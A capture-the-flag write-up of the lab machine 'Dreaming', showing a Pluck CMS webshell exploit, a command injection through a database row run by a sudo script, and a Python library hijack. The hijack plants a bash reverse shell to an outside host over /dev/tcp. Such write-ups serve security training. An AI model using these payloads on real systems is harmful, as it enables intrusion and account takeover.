
Solve the riddle that dreams have woven.
| Title | Dreaming |
|---|
| Description | Solve the riddle that dreams have woven. |
| Points | 90 |
| Difficulty | Easy |
| Maker | b1d0ws, tokyo |
Summary
Dreaming: in this machine we exploit a vulnerable CMS called dreaming, an authenticated file upload vulnerability that esacpes the restrictions and gets us a shell, once in, find credentials of a user in a script, pivoting as him, we perform an sql command injection, tricking the priviledges we have to run a script that fetches from the database as another user, to takeover his account, lastly, we hijack a python library to get a shell as a user that is in the sudoer’s file.
Enumeration
Let’s see what we have to work with again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| ┌──(azadin㉿kali)-[~/tryhackme]
└─$ nmap -p$ports -sC -sV -Pn -n 10.10.51.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 12:27 UTC
Nmap scan report for 10.10.51.65
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d0:27:31:f4:2a:87:7f:ff:4c:c1:f7:5f:cc:32:a9:4e (RSA)
| 256 61:d5:66:7f:e8:eb:07:ad:d0:54:9e:c0:8a:38:f8:80 (ECDSA)
|_ 256 51:e4:18:c2:05:fe:ef:7c:e0:b6:00:a9:2d:f9:e5:0d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds
|
so we only have port 80, from there I used gobuster and found the app endpoint, that gets us to : http://10.10.51.65/app/pluck-4.7.13
I looked up the CMS : pluck-4.7.13 and found that it has a cve : File Upload Remote Code Execution (Authenticated), and we have an exploit for it, but we first need to be authenticated, I tried a default password : password and it worked.
next we run the exploit to get a shell:
1
2
3
4
5
6
| ┌──(azadin㉿kali)-[~/tryhackme]
└─$ python 49909.py 10.10.51.65 80 password /app/pluck-4.7.13
Authentification was succesfull, uploading webshell
Uploaded Webshell to: http://10.10.51.65:80/app/pluck-4.7.13/files/shell.phar
|
the syntax is python 49909.py /url-to-pulck endpoint.
and now we have a shell on the url provided by the exploit. I like things on my terminal so I got another shell for me.

Lucien Flag
Playing around, I went to /opt and found the following :
1
2
3
4
5
6
7
8
9
| www-data@ip-10-10-51-65:/$ cd opt
cd opt
www-data@ip-10-10-51-65:/opt$ ls -asl
ls -asl
total 16
4 drwxr-xr-x 2 root root 4096 Aug 15 2023 .
4 drwxr-xr-x 20 root root 4096 Jul 4 12:23 ..
4 -rwxrw-r-- 1 death death 1574 Aug 15 2023 getDreams.py
4 -rwxr-xr-x 1 lucien lucien 483 Aug 7 2023 test.py
|
and now :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| www-data@ip-10-10-51-65:/opt$ cat test.py
cat test.py
import requests
#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
|
we can ssh using lucien:HeyLucien#@1999! and get the lucien flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| ┌──(chida㉿kali)-[~/sus/oo/yak]
└─$ ssh lucien@10.10.101.210
The authenticity of host '10.10.101.210 (10.10.101.210)' can't be established.
ED25519 key fingerprint is SHA256:buqK7uiv3hnS+/rdvFkhgU+dYAuS5He71GWDU2EEH+Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.101.210' (ED25519) to the list of known hosts.
{} {}
! ! II II ! !
! I__I__II II__I__I !
I_/|--|--|| ||--|--|\_I
.-'"'-. ! /|_/| | || || | |\_|\ ! .-'"'-.
/=== \ I//| | | || || | | |\\I /=== \
\== / ! /|/ | | | || || | | | \|\ ! \== /
\__ _/ I//| | | | || || | | | |\\I \__ _/
_} {_ ! /|/ | | | | || || | | | | \|\ ! _} {_
{_____} I//| | | | | || || | | | | |\\I {_____}
! ! |= |=/|/ | | | | | || || | | | | | \|\=|- | ! !
_I__I__|= ||/| | | | | | | || || | | | | | |\|| |__I__I_
-|--|--|- || | | | | | | | || || | | | | | | ||= |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--| ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-|| |--|--|-
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |- || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||- | | |
_|__|__| || | | | | | | || || | | | | | | ||= |__|__|_
-|--|--|= || | | | | | | || || | | | | | | || |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||= |--|--|-
jgs | |- || | | | | | | || || | | | | | | ||- | | |
~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
W e l c o m e, s t r a n g e r . . .
lucien@10.10.101.210's password:
|
Death Flag
poking around before we read the python script getDreamers.py in /opt, now reading .bash_history we find :
1
2
| ls
mysql -u lucien -plucien42DBPASSWORD
|
and :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| library |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use library
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams |
+-------------------+
1 row in set (0.01 sec)
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | Flying in the sky |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
|
okay, this is not useful, back to the python script.
1
2
3
4
5
| for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
|
so it takes dream from the dreamer and it exectues, this part is vulnerable, and since running : sudo -l :
1
2
3
4
5
6
| lucien@ip-10-10-101-210:~$ sudo -l
Matching Defaults entries for lucien on ip-10-10-101-210:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lucien may run the following commands on ip-10-10-101-210:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
|
we can run the script as death, we just need to make it fetch our payload to get a shell as death.
back to the mysql we’ll inject a command to be executed as death :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| mysql> UPDATE dreams SET dream = '`/bin/bash`' WHERE dreamer = 'Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | `/bin/bash` |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
mysql> exit
Bye
|
and now we’re death, feel free to grub its flag, and don’t mess with death.
1
2
| lucien@ip-10-10-101-210:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
death@ip-10-10-101-210:/home/lucien$ ls -als
|
Morpheuse Flag
if we are to remember well, the script we analysed before wasn’t the original one, and it had it’s password redacted, now we can retrieve it and ssh as death, it’s on /home/death/getDreams.py
death:!mementoMORI666!
checking our home directory first, I noticed this :
1
2
3
4
5
6
7
8
9
10
11
12
13
| death@ip-10-10-101-210:~$ cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
-' 342 41 /usr/lib/python3.8/shutil.py
|4,39,342,41,1691452263,"/usr/lib/python3.8/shutil.py"
-' 342 41 /usr/lib/python3.8/shutil.py
|
why would this be here, I checked the file : /usr/lib/python3.8/shutil.py
1
2
| death@ip-10-10-101-210:~$ ls -asl /usr/lib/python3.8/shutil.py
52 -rw-rw-r-- 1 root death 51474 Mar 18 20:04 /usr/lib/python3.8/shutil.py
|
we can write to it huh?! let’s keep this in mind.
now let’s go after Morpheuse!
1
2
3
4
5
6
7
8
9
| death@dreaming:~$ cat /home/morpheus/restore.py
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")
|
now I understand the Path to takeover Morpheuse, he’s importing the same library we can overrite, so let’s just do that and overrite it to get a shell as him.
1
2
3
| death@ip-10-10-101-210:/etc$ cat /usr/lib/python3.8/shutil.py
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/10.9.2.77/9001 <&1'")
|
something like this, on another terminal set up a listener, and you’ll get logged in as Morpehuse.